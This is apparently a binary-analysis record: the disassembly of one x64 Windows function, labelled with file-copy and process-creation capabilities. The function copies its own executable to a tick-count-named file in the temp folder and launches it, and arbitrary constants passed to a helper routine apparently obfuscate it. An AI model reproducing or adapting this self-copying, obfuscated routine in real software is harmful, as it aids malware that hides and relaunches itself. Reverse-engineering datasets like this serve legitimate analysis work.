Function at 0x140003f20
Capabilities:
Copy file
Create process on windows
Get common file path

Disassembly:
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x470
movaps xmmword [rsp + 0x460], xmm6
mov r14d, ecx
mov ecx, 8
mov edx, 0x9e
mov r8d, 0xbc
mov r9d, 0xb26bb0
call fcn.140002bc0
mov rsi, rax
mov qword [rsp + 0x20], 0x21
movabs rcx, 0xa86fb9cfe80db263
mov edx, 0x3a
mov r8d, 0xda
mov r9d, 0x62
call fcn.140002bc0
mov rdi, rax
mov qword [rsp + 0x28], 0x6b
mov qword [rsp + 0x20], 0xdb
mov ecx, 0x1b
mov edx, 0x66d65c
mov r8d, 0x8f
mov r9d, 6
call fcn.140002bc0
mov byte [rsp + 0x28], al
mov qword [rsp + 0x20], rdi
lea rcx, [0x140006044]
lea rdx, [rsp + 0x1c0]
mov r9d, 0xd224c6a3
mov r8, rsi
call fcn.140002bd0
mov rsi, rax
mov ecx, 0x1d
mov edx, 0x6ad733
call fcn.140002bc0
mov rdi, rax
mov ecx, 0x5758b697
mov r8d, 0x12
mov rdx, rsi
mov r9, rsi
call fcn.140002bc0
mov edx, 0x81
mov r8d, 0x9f
mov rcx, rax
call fcn.140002bc0
mov rbx, rax
mov qword [rsp + 0x20], rsi
mov ecx, 0xba
mov r8d, 0xba
mov rdx, rsi
mov r9, rsi
call fcn.140002bc0
mov rbp, rax
mov ecx, 0x54
mov rdx, rsi
mov r8, rsi
call fcn.140002bc0
mov byte [rsp + 0x38], al
mov byte [rsp + 0x30], bpl
lea rcx, [0x14000618c]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rbx
lea rdx, [rsp + 0x210]
mov r8, rdi
mov r9, rbx
call fcn.140002bd0
xorps xmm6, xmm6
movaps xmmword [rsp + 0x140], xmm6
movaps xmmword [rsp + 0x130], xmm6
movaps xmmword [rsp + 0x120], xmm6
movaps xmmword [rsp + 0x110], xmm6
movaps xmmword [rsp + 0x100], xmm6
movaps xmmword [rsp + 0xf0], xmm6
movaps xmmword [rsp + 0xe0], xmm6
movaps xmmword [rsp + 0xd0], xmm6
movaps xmmword [rsp + 0xc0], xmm6
movaps xmmword [rsp + 0xb0], xmm6
movaps xmmword [rsp + 0xa0], xmm6
movaps xmmword [rsp + 0x90], xmm6
movaps xmmword [rsp + 0x80], xmm6
movaps xmmword [rsp + 0x70], xmm6
movaps xmmword [rsp + 0x60], xmm6
movaps xmmword [rsp + 0x50], xmm6
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdi, rax
mov ecx, 0x100
mov rdx, rsi
mov r8, rsi
call fcn.140002bc0
lea rdx, [rsp + 0x50]
mov rcx, rdi
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, 0x100
mov rdx, rsi
mov r8, rsi
call fcn.140002bc0
lea rdx, [rsp + 0x260]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
test r14b, r14b
je 0x1400042f2
mov rbx, qword [sym.imp.KERNEL32.dll_GetTickCount]
call rbx
mov esi, eax
mov ecx, 7
mov edx, 0xf6
mov r8d, eax
call fcn.140002bc0
mov rcx, rax
mov eax, esi
xor edx, edx
div ecx
mov edi, eax
mov ecx, 0x3e8
call fcn.140002bc0
mov rcx, rax
mov eax, edi
xor edx, edx
div ecx
mov edi, edx
mov ecx, 1
mov edx, 0x3cb5fb
call fcn.140002bc0
add edi, eax
call rbx
mov ebx, eax
mov ecx, 3
call fcn.140002bc0
mov rcx, rax
mov eax, ebx
xor edx, edx
div ecx
mov ebx, eax
mov ecx, 0x64
mov edx, 0x45
mov r8d, 0xae6604
call fcn.140002bc0
mov rcx, rax
mov eax, ebx
xor edx, edx
div ecx
mov ebx, edx
mov ecx, 1
call fcn.140002bc0
add ebx, eax
mov edx, 0x5811e8
mov r8d, 0x7f
mov rcx, rbx
call fcn.140002bc0
mov rbx, rax
mov rcx, rdi
mov edx, esi
call fcn.140002bc0
mov dword [rsp + 0x20], eax
lea rdi, [rsp + 0x360]
lea rdx, [rsp + 0x210]
lea r8, [rsp + 0x260]
mov rcx, rdi
mov r9d, ebx
call qword [sym.imp.USER32.dll_wsprintfA]
mov dword [rsp + 0x20], esi
mov edx, 0xf2
mov r8d, 0xf0
xor ecx, ecx
mov r9d, esi
call fcn.140002bc0
lea rcx, [rsp + 0x50]
mov rdx, rdi
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_CopyFileA]
movaps xmmword [rsp + 0x1a0], xmm6
movaps xmmword [rsp + 0x190], xmm6
movaps xmmword [rsp + 0x180], xmm6
movaps xmmword [rsp + 0x170], xmm6
movaps xmmword [rsp + 0x160], xmm6
movaps xmmword [rsp + 0x150], xmm6
mov qword [rsp + 0x1b0], 0
mov ecx, 0x68
mov edx, esi
call fcn.140002bc0
mov dword [rsp + 0x150], eax
mov qword [rsp + 0x160], 0
xor ecx, ecx
mov edx, esi
call fcn.140002bc0
mov ecx, eax
mov edx, esi
call fcn.140002bc0
lea rcx, [rsp + 0x1f8]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x150]
mov qword [rsp + 0x40], rcx
movups xmmword [rsp + 0x30], xmm6
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], eax
lea rdx, [rsp + 0x1c0]
mov rcx, rdi
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
jmp 0x140004361
movaps xmm0, xmmword [rsp + 0xc0]
movups xmmword [0x1400071bc], xmm0
movaps xmm0, xmmword [rsp + 0xb0]
movups xmmword [0x1400071ac], xmm0
movaps xmm0, xmmword [rsp + 0xa0]
movups xmmword [0x14000719c], xmm0
movaps xmm0, xmmword [rsp + 0x90]
movups xmmword [0x14000718c], xmm0
movaps xmm0, xmmword [rsp + 0x50]
movaps xmm1, xmmword [rsp + 0x60]
movaps xmm2, xmmword [rsp + 0x70]
movaps xmm3, xmmword [rsp + 0x80]
movups xmmword [0x14000717c], xmm3
movups xmmword [0x14000716c], xmm2
movups xmmword [0x14000715c], xmm1
movups xmmword [0x14000714c], xmm0
movaps xmm6, xmmword [rsp + 0x460]
add rsp, 0x470
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
ret